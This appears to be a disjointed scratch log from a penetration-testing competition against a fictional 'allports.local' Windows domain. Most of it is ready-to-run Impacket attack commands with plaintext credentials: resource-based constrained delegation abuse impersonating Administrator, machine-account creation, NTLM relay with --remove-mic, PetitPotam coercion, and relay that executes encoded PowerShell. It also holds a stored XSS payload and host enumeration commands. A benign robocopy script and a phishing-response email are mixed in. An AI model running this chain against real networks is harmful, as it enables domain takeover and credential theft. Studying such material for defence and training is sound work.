_raw: getST.py -spn 'cifs/Deckhand-02' -impersonate Administrator -dc-ip '10.0.1.6' 'allports.local/svc_stabilize:1gyroscope'


_raw: getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'


_raw: impacket-rbcd -delegate-to 'Deckhand-02$' -dc-ip '10.0.1.6' -action 'read' 'allports.local/rdavis':'rosdav50'


_raw: rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'


_raw: impacket-addcomputer 'allports.local/rdavis':'rosdav50' -method LDAPS -computer-name 'ne1comp$' -computer-pass 'NETeam1@@^c' -dc-ip 10.0.1.6


_raw:
```bash
impacket-addcomputer '<domain FQDN>/<user>':'<password>' -method LDAPS -computer-name '<new computer name>$' -computer-pass '<new password>' -dc-ip <DC IP>
```


_raw: impacket-ntlmrelayx -t ldap://10.0.1.21 --remove-mic -smb2support --delegate-access


_raw: KRB5CCNAME=rdavis.ccache python3 PetitPotam.py -d allports.local -u rdavis -k -nopass 10.0.254.205 10.0.1.21


_raw:
    import winrm
    session = winrm.Session('http://<RemoteComputerIP>:5985/wsman', auth=('<username>', '<password>'))
    result = session.run_cmd('ipconfig', ['/all'])
    print(result.std_out)


_raw: sudo apt install -y python3-impacket impacket-scripts


_raw:
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
    -c "powershell -nop -enc BASE64_COMMAND" \
    -of loot.hash


_raw: sudo nmap -p445 --script smb-security-mode


_raw:
New-Item -ItemType Directory -Path $DestPath -Force | Out-Null
New-Item -ItemType Directory -Path $LogDir  -Force | Out-Null
$ts = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $LogFile -Value "[$ts] Starting sync from $SourceShare to $DestPath"
try {
    if (-not (Test-Path $SourceShare)) {
        Add-Content -Path $LogFile -Value "[$ts] WARN: Source not reachable."
        exit 0
    }
    # Copy new/updated files only (no deletions)
    $rc = Start-Process -FilePath "robocopy.exe" -ArgumentList @(
        $SourceShare, $DestPath,
        "/E",      # recurse, include empty dirs
        "/XO",     # skip older
        "/FFT",    # FAT time tolerance
        "/Z",      # restartable
        "/R:1","/W:1",
        "/NP","/NFL","/NDL"
    ) -NoNewWindow -PassThru -Wait
    $code = $rc.ExitCode
    if ($code -lt 8) {
        Add-Content -Path $LogFile -Value "[$ts] Sync OK (robocopy code $code)."
    } else {
        Add-Content -Path $LogFile -Value "[$ts] ERROR: robocopy exit code $code."
    }
}
catch {
    Add-Content -Path $LogFile -Value "[$ts] EXCEPTION: $($_.Exception.Message)"
}


_raw: -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files\Poseidon Booking\ManifestSync.ps1"


_raw:
Dear Bailey Finn,

Thank you for alerting us to this potential threat involving an extortion-style phishing email. Please follow the protocol below when encountering such messages:
    Do not click on any links or download attachments contained in the suspicious email.
    Immediately report the email to the IT Department for further analysis.
    The IT team will inspect the email in a secure, sandboxed environment to determine its origin and assess any potential risks.
    The sender has claimed they can provide three documents to verify the legitimacy of the threat. If deemed necessary, the IT team may contact the sender to request these documents for further validation.
    If the sender is identified and the threat is deemed credible, the IT department should coordinate with the appropriate law enforcement agencies for further investigation. Consider consulting a third-party incident response firm to manage remediation and cleanup of the attack.
Your prompt attention and adherence to these steps are critical to maintaining a strong security posture.
Thank you,
CTPC11 US New England Team #3


_raw:
{
        "id": 1,
        "roomID": 2,
        "roomDisplay": "bb-a173",
        "serviceOptionID": 1,
        "notes": "\u003cscript\u003ealert(\"hello\")\u003c/script\u003e",


_raw:
curl 'http://bb-a173.rooms.allports.tours/api/services/open' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Proxy-Connection: keep-alive' \
  -H 'Referer: http://bb-a173.rooms.allports.tours/services.html' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' \
  --insecure


_raw:
        "requestedAt": "2025-11-01T17:25:55Z",
        "completedAt": null,
        "completedBy": null,
        "serviceName": "Room Cleaning"
    }


_raw: systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"


_raw:
d-----        10/28/2025   6:23 PM                Windows
PS C:\> cd Users\Guest
PS C:\Users\Guest> ls
    Directory: C:\Users\Guest
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----


_raw: d-----        10/28/2025   2:02 PM                SoftwareDistribution


_raw:
Get-Printer | Format-Table Name,DriverName,PortName,ShareName,Published > printers.txt
Get-PrinterDriver | Format-Table Name,DriverVersion,Manufacturer,ConfigFile > printer_drivers.txt


_raw: Get-Service -Name Spooler | Format-List * > spooler_service.txt


_raw: SeImpersonatePrivilege                    Impersonate a client after authentication


_raw: wmic service get Name,StartName,State,PathName /format:table


_raw: Get-WmiObject Win32_Service | Select-Object Name,State,StartMode,StartName,PathName


_raw: Get-WmiObject Win32_Service | Select-Object Name,State,StartMode,StartName,PathNam


_raw: Get-WmiObject Win32_Service | Select-Object Name,State,StartMode,StartName,PathName | Out-File services.txt


_raw: wmic service get Name,StartName,State,DisplayName